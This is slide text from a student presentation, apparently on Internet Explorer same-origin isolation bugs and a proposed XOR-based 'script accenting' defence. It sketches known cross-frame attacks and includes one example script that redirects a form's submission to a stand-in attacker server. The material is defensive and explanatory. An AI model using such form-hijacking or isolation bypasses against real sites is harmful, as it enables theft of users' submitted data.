An Analysis of Browser Domain-Isolation Bugsand A Light-Weight Transparent Defense Mechanism

20065817 Su Yong Kim

2

ContentsDomain IsolationReal-World AttacksScript Accenting MechanismAttack Scenarios RevisitedPerformanceConclusion

3

Domain Isolation of IEFrame-based Isolation

Scripts from one frame can access documents in another frame if and only if the two frames are from the same domain Same Origin Policy

4

Importance of Same Origin Policy

du-am.net

<script>DaumWnd.document.submitForm.action = http://attacker.we-b.server/</script>

5

Window ProxyClone of the Window objectString comparison is performed to check if

the two domains are identical

6

Real-World AttacksMalicious frame

http://evilVictim frame

http://payrollPurpose of attacks

The script “doEvil” from http://evil is exe-cuted in the document from http://payroll

7

Exploiting the Interactions between IE and Windows Explorer

8

Exploiting Function Aliasing

9

Exploiting the Excessive Expressive-ness of Frame Navigation

10

Exploiting the Semantics of User EventsThe script from http://evil in Frame0

Creates frame1 to load http://payrollCalls document.body.setCapture() to capture

all mouse eventsWhen the user clicks inside Frame1

The event is handled by the method body.onClick() in Frame0

Event.srcElement in Frame0 can be used to access document object in Frame1

11

Exploiting the Semantics of User Events

12

Reason for Isolation FailureUnexpected execution scenarios to bypass

the checkSingle-point check buried deep in the call

stack

Þ Challenging for developers to enumerate and test all these unexpected scenarios

Þ Difficult to guarantee that the checks are per-formed exhaustively and correctly

13

Script AccentingGenerate a 32-bit random number as the accent

key for each domain of frameBefore sending scripts or object name queries,

XOR every 32-bit word in scripts and object name queries with the accent key of owner frame Does not increate the length of the script No possibility of buffer overflow

After receiving scripts or object name queriesXOR every 32-bit word in scripts and object name

queries with the accent key of receiver frame

14

Accenting Script Source Code

15

Accenting Object Name Queries

16

Attack 1 RevisitedOpen(“file:javascript:doEvil”, “frame2”)

InvokeNavigation does not accent “file:javascript:doEvil” because it is not javascript-URL

Windows Explorer removes the “file:” and passes “javascript:doEvil” to frame2

Compile de-accents “javascript:doEvil”Þ ATTACK Fails!

17

Attack 2 RevisitedLocation.assign(‘javascript:doEvil’)

InvokeNavigation accents “javascript:doEvil” with the key of http://evil

Compile de-accents (javascript:doEvil)k with the key of http://payroll

Þ ATTACK Fails!

18

Attack 3 RevisitedFrame2.open(“javascript:doEvil”, “frame1”)

InvokeNavigation accents “javascript:doEvil” with the key of http://evil Because script source code resides in http://evil

Compile de-accents (javascript:doEvil)k with the key of http://payroll

Þ ATTACK Fails!

19

Attack 4 RevisitedEvent.srcElement

InvokeByName accents object name queries with the key of http://evil

GetDispatchID de-accents (object name queries)k with the key of http://payroll

Þ ATTACK Fails!

20

XOR Probing AttacksGuessing (katk kvtm)

Attack String doEvil (katk kvtm)

Probability 1/(256)4

Verification No way to detect syntax error of victim’s frame

21

PerformanceWorst Case

3.16 % overhead

22

ConclusionAnalysis of IE’s domain-isolation mechanism

and the known attacksProposal of the script accenting techniqueExtension to non-browser platform

Application Domain of CLR(Common Language Runtime) in .NET framework

LimitationIE-dependent implementation

23

DiscussionThanks for Listening!